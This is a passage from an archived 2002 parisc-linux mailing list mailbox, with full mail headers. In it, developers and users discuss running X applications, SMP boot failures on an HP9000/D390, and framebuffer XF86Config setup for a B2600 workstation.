if someone is interrested. I'll try building the latest CVS with 32-bit
and SMP and see if it's any better then the ones I have tried so far.

--
Arto Jantunen


From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Tue, 24 Sep 2002 13:42:28 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <002a01c263bf$76340820$1f96078d@acid>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee. fr><03bf01c2627c$9a5147c0$1f96078d@acid> <03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano> <003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621760 14687 80.91.229.3 (22 Nov 2014 02:02:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:40 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Steve Pacenka" <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 05:42:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36D2D483B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 05:42:00 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g8OBfsQ0027121;
	Tue, 24 Sep 2002 13:41:54 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g8OBfrkc003881;
	Tue, 24 Sep 2002 13:41:53 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16264

From: "Steve Pacenka" <spacenka@lightlink.com>
Subject: Re: [parisc-linux] RTC and FB on 735/125


> Could you please post your experience at getting X applications to work
> now that you have X and a desktop?  I got basic gnome things to work
> flawlessly, but failed on my 735/99 with xmms, xemacs, and galeon or
> mozilla.
Galeon/Mozilla and XMMS start up, but they don't appear on screen and give
no errors. xemacs can't be installed, while dselect misses some dependent
packages.
I'm running KDE, that is slow but proper. And I have a woking browser at
last.

Greets,
yves...



From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Tue, 24 Sep 2002 13:55:53 +0200
Organization: ESIEE
Lines: 25
Approved: news@gmane.org
Message-ID: <3D9052C9.3060704@esiee.fr>
References: <03ab01c26266$2416dea0$1f96078d@acid><20020922220323.0113cbca.varenet@esiee. fr><03bf01c2627c$9a5147c0$1f96078d@acid> <03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano> <003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano> <002a01c263bf$76340820$1f96078d@acid>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621760 14690 80.91.229.3 (22 Nov 2014 02:02:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:40 +0000 (UTC)
Cc: Steve Pacenka <spacenka@lightlink.com>,
	parisc-linux@lists.parisc-linux.org
To: Yves Bodack <bodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 05:58:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6FE04829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 05:58:14 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id A7CAE49C9F; Tue, 24 Sep 2002 13:58:11 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id 1A38149C9C; Tue, 24 Sep 2002 13:58:10 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16265

Yves Bodack wrote:
> From: "Steve Pacenka" <spacenka@lightlink.com>
> Subject: Re: [parisc-linux] RTC and FB on 735/125
> 
> 
> 
>>Could you please post your experience at getting X applications to work
>>now that you have X and a desktop?  I got basic gnome things to work
>>flawlessly, but failed on my 735/99 with xmms, xemacs, and galeon or
>>mozilla.
> 
> Galeon/Mozilla and XMMS start up, but they don't appear on screen and give
Galeon/Mozilla is b0rken on hppa. You can try either Links or Konqueror...
for XMMS I don't know...

HTH,



Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RTC and FB on 735/125
Date: Tue, 24 Sep 2002 14:02:01 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20020924120201.GC15201@charite.de>
References: <03ed01c26280$4dfb5c90$1f96078d@acid> <1032793227.1848.222.camel@romano> <003001c26327$d0db42e0$1f96078d@acid> <1032806776.2868.19.camel@romano> <002a01c263bf$76340820$1f96078d@acid> <3D9052C9.3060704@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621761 14693 80.91.229.3 (22 Nov 2014 02:02:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 06:02:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with SMTP id 1EAEF4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 06:02:07 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 2CD4915C01F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 14:02:04 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 75646633B3; Tue, 24 Sep 2002 14:02:03 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3D9052C9.3060704@esiee.fr>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16266

Am 24.09.2002 um 13:55:53 +0200 schrieb Thibaut VARENE folgendes:

> >Galeon/Mozilla and XMMS start up, but they don't appear on screen and give

> Galeon/Mozilla is b0rken on hppa. You can try either Links or Konqueror...
> for XMMS I don't know...

And I must say, konqueror is quite acceptable.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
they're busy updating their BOFH excuse server 



From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP problems
Date: Tue, 24 Sep 2002 13:29:34 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020924132934.F27458@parcelfarce.linux.theplanet.co.uk>
References: <20020924060541.GA27852@dt-link.fi> <Pine.LNX.4.44.0209240141510.20374-100000@garibaldi.apptechsys.com> <20020924112830.GA27877@dt-link.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621761 14695 80.91.229.3 (22 Nov 2014 02:02:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:41 +0000 (UTC)
Cc: Jeremy Drake <jeremyd@apptechsys.com>,
	parisc-linux@lists.parisc-linux.org
To: Arto Jantunen <viiru@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 06:29:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50DD64829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 06:29:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17tooo-0004e4-00; Tue, 24 Sep 2002 13:29:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020924112830.GA27877@dt-link.fi>; from viiru@debian.org on Tue, Sep 24, 2002 at 02:28:30PM +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16267

On Tue, Sep 24, 2002 at 02:28:30PM +0300, Arto Jantunen wrote:
> I have a HP9000/D390. Dual PA-8200. It doesn't boot at all with that
> kernel or any other 64-bit kernel. Some things do suggest that it should
> work, but it doesn't. After the kernel branching point it starts
> scrolling FLT codes on the LCD display, but doesn't report anything on
> the console. I have a ser pim output taken out after rebooting the box
> if someone is interrested. I'll try building the latest CVS with 32-bit
> and SMP and see if it's any better then the ones I have tried so far.

Do you have the CAP/MUX card installed?  (the card with the other serial
port on it)  If so, you should enable "Serial MUX support" and make
sure to use console=ttyB0 on the command line (ie pretend you have a K
class machine).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joachim.weller@philips.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help wanted: XF86Config (B2600)
Date: Tue, 24 Sep 2002 14:40:33 +0200
Lines: 139
Approved: news@gmane.org
Message-ID: <OF52713812.E62609E7-ONC1256C3E.0044B75D@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 00460EA7C1256C3E_="
X-Trace: ger.gmane.org 1416621761 14697 80.91.229.3 (22 Nov 2014 02:02:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 06:39:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84B764829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 06:39:03 -0600 (MDT)
Original-Received: from smtpscan-nl3.philips.com (smtpscan-nl3.philips.com [130.139.36.23])
	by gw-nl4.philips.com (Postfix) with ESMTP id 04CFB44BED
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 14:39:00 +0200 (MET DST)
Original-Received: from smtprelay-nl1.philips.com (localhost [127.0.0.1]) 
	by smtpscan-nl3.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id OAA06021
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 14:39:00 +0200 (MET DST)
Original-Received: from hbg001soh.diamond.philips.com (e1soh01.diamond.philips.com [130.143.165.45]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id OAA08479
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 14:38:59 +0200 (MET DST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on hbg001soh/H/SERVER/PHILIPS(Release 5.0.9a |January 7, 2002) at
 24/09/2002 14:39:57,
	Serialize complete at 24/09/2002 14:39:57
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16268

This is a multipart message in MIME format.
--=_alternative 00460EA7C1256C3E_=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,

since yesterday, I have up and running a B2600 with Debian woody 3.0,
but I can't setup  X11 Configuration for the built in PCI Grafic card,
using framebuffer driver.

The error message in  /etc/XFree86.0.log (XFree86 Version 4.1.0.1)=20
says:
(EE) No devices detected.

although I have put in /etc/X11/XF86Config:

Section "Device"
        BoardName       "hp-3D"
        Identifier      "Device[0]"
        BusID           "1:3:0"=20
        Driver          "fbdev"
        Option          "UseFBDev"              "true"
        Screen          0
EndSection

The BusID was determined by  "cat /proc/pci" :
  Bus  1, device   3, function  0:
    3D controller: PCI device 103c:108b (Hewlett-Packard Company) (rev 5).
      IRQ 258.
      Master Capable.  Latency=3D255.
      Prefetchable 64 bit memory at 0xfffffffffb000000=20
[0xfffffffffbffffff].
      Non-prefetchable 64 bit memory at 0xfffffffffa000000=20
[0xfffffffffaffffff].

If anybody has the same grafic card running, I would very much appreciate
to get a working XF86Config or any tips to resolve that problem.

Regards,
       Joachim

Joachim Weller

Philips Medizin Systeme Boeblingen GmbH
Cardiac and Monitoring Systems (CMS) /New Product Engineering=20
Phone: {+49|0}-7031-463-1891
Fax:   {+49|0}-7031-463-2112
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl=20
(Sprecher)
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
=20
5187=20
Hewlett-Packard Str. 2, D 71034 Boeblingen      -GERMANY-
--=_alternative 00460EA7C1256C3E_=
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<br><font size=3D2 face=3D"sans-serif">Hi,</font>
<br>
<br><font size=3D2 face=3D"sans-serif">since yesterday, I have up and runni=
ng a B2600 with Debian woody 3.0,</font>
<br><font size=3D2 face=3D"sans-serif">but I can't setup &nbsp;X11 Configur=
ation for the built in PCI Grafic card,</font>
<br><font size=3D2 face=3D"sans-serif">using framebuffer driver.</font>
<br>
<br><font size=3D2 face=3D"sans-serif">The error message in &nbsp;/etc/XFre=
e86.0.log (XFree86 Version 4.1.0.1) </font>
<br><font size=3D2 face=3D"sans-serif">says:</font>
<br><font size=3D2 face=3D"sans-serif">(EE) No devices detected.</font>
<br>
<br><font size=3D2 face=3D"sans-serif">although I have put in /etc/X11/XF86=
Config:</font>
<br>
<br><font size=3D2 face=3D"sans-serif">Section &quot;Device&quot;</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; BoardNam=
e &nbsp; &nbsp; &nbsp; &nbsp;&quot;hp-3D&quot;</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Identifi=
er &nbsp; &nbsp; &nbsp; &nbsp;&quot;Device[0]&quot;</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; BusID &n=
bsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;1:3:0&quot; &nbs=
p; &nbsp; &nbsp; &nbsp;</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Driver &=
nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;fbdev&quot;</fo=
nt>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Option &=
nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;UseFBDev&quot; =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;true&quot;</fo=
nt>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Screen &=
nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0</font>
<br><font size=3D2 face=3D"sans-serif">EndSection</font>
<br>
<br><font size=3D2 face=3D"sans-serif">The BusID was determined by &nbsp;&q=
uot;cat /proc/pci&quot; :</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; Bus &nbsp;1, device &nbsp; 3,=
 function &nbsp;0:</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; 3D controller: PCI dev=
ice 103c:108b (Hewlett-Packard Company) (rev 5).</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; IRQ 258.</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; Master Capable.=
 &nbsp;Latency=3D255.</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; Prefetchable 64=
 bit memory at 0xfffffffffb000000 [0xfffffffffbffffff].</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; Non-prefetchabl=
e 64 bit memory at 0xfffffffffa000000 [0xfffffffffaffffff].</font>
<br>
<br><font size=3D2 face=3D"sans-serif">If anybody has the same grafic card =
running, I would very much appreciate</font>
<br><font size=3D2 face=3D"sans-serif">to get a working XF86Config or any t=
ips to resolve that problem.</font>
<br>
<br><font size=3D2 face=3D"sans-serif">Regards,</font>
<br><font size=3D2 face=3D"sans-serif">&nbsp; &nbsp; &nbsp; &nbsp;Joachim<b=
r>
<br>
Joachim Weller<br>
<br>
Philips Medizin Systeme Boeblingen GmbH<br>
Cardiac and Monitoring Systems (CMS) /New Product Engineering <br>
Phone: {+49|0}-7031-463-1891<br>
Fax: &nbsp; {+49|0}-7031-463-2112<br>
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F<br>
Gesch=E4ftsf=FChrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl (Spre=
cher)<br>
Sitz der Gesellschaft: B=F6blingen Registergericht B=F6blingen Reg.-Nr. HRB=
 5187 &nbsp;<br>
Hewlett-Packard Str. 2, D 71034 Boeblingen &nbsp; &nbsp; &nbsp;-GERMANY-</f=
ont>
--=_alternative 00460EA7C1256C3E_=--


From - Thu Nov 08 21:24:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Help wanted: XF86Config (B2600)
Date: Tue, 24 Sep 2002 14:54:53 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <3D8F0114000004FF@ocpmta2.be.tiscali.com>
References: <OF52713812.E62609E7-ONC1256C3E.0044B75D@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621762 14699 80.91.229.3 (22 Nov 2014 02:02:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:42 +0000 (UTC)
To: joachim.weller@philips.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 24 06:54:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD8344829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Sep 2002 06:54:56 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 24 Sep 2002 14:54:53 +0200
In-Reply-To: <OF52713812.E62609E7-ONC1256C3E.0044B75D@diamond.philips.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16269

Hey Joachim,

Have first a look with dmesg.

For my b2k a get unfortunately:
...
STI device: HPA4982A
stifb: Unsupported gfx card id 0x35acda16
...

Joel

>-- Original Message --
>From: joachim.weller@philips.com
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] Help wanted: XF86Config (B2600)
>Date: Tue, 24 Sep 2002 14:40:33 +0200
>
>
>Hi,
>
>since yesterday, I have up and running a B2600 with Debian woody 3.0,
>but I can't setup  X11 Configuration for the built in PCI Grafic card,
>using framebuffer driver.
>
>The error message in  /etc/XFree86.0.log (XFree86 Version 4.1.0.1) 
>says:
>(EE) No devices detected.
>
>although I have put in /etc/X11/XF86Config:
>
>Section "Device"
>        BoardName       "hp-3D"
>        Identifier      "Device[0]"
>        BusID           "1:3:0" 
>        Driver          "fbdev"
>        Option          "UseFBDev"              "true"
>        Screen          0
>EndSection
>
>The BusID was determined by  "cat /proc/pci" :
>  Bus  1, device   3, function  0:
>    3D controller: PCI device 103c:108b (Hewlett-Packard Company) (rev 5).
>      IRQ 258.
>      Master Capable.  Latency=255.
>      Prefetchable 64 bit memory at 0xfffffffffb000000 
>[0xfffffffffbffffff].
>      Non-prefetchable 64 bit memory at 0xfffffffffa000000 
>[0xfffffffffaffffff].
>
>If anybody has the same grafic card running, I would very much appreciate
>to get a working XF86Config or any tips to resolve that problem.
>
>Regards,
>       Joachim
>
>Joachim Weller
>
>Philips Medizin Systeme Boeblingen GmbH
>Cardiac and Monitoring Systems (CMS) /New Product Engineering 
>Phone: {+49|0}-7031-463-1891
>Fax:   {+49|0}-7031-463-2112
>________________________________________________________________________________
>Gesch?ftsf?hrer: Dr. Werner Haas, David Russell, Wolfgang Strenzl 
>(Sprecher)
>Sitz der Gesellschaft: B?blingen Registergericht B?blingen Reg.-Nr. HRB

>5187 
>Hewlett-Packard Str. 2, D 71034 Boeblingen      -GERMANY-



From - Thu Nov 08 21:24:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted: XF86Config (B2600)
Date: Tue, 24 Sep 2002 14:54:04 +0200
Organization: ESIEE
Lines: 24
Approved: news@gmane.org
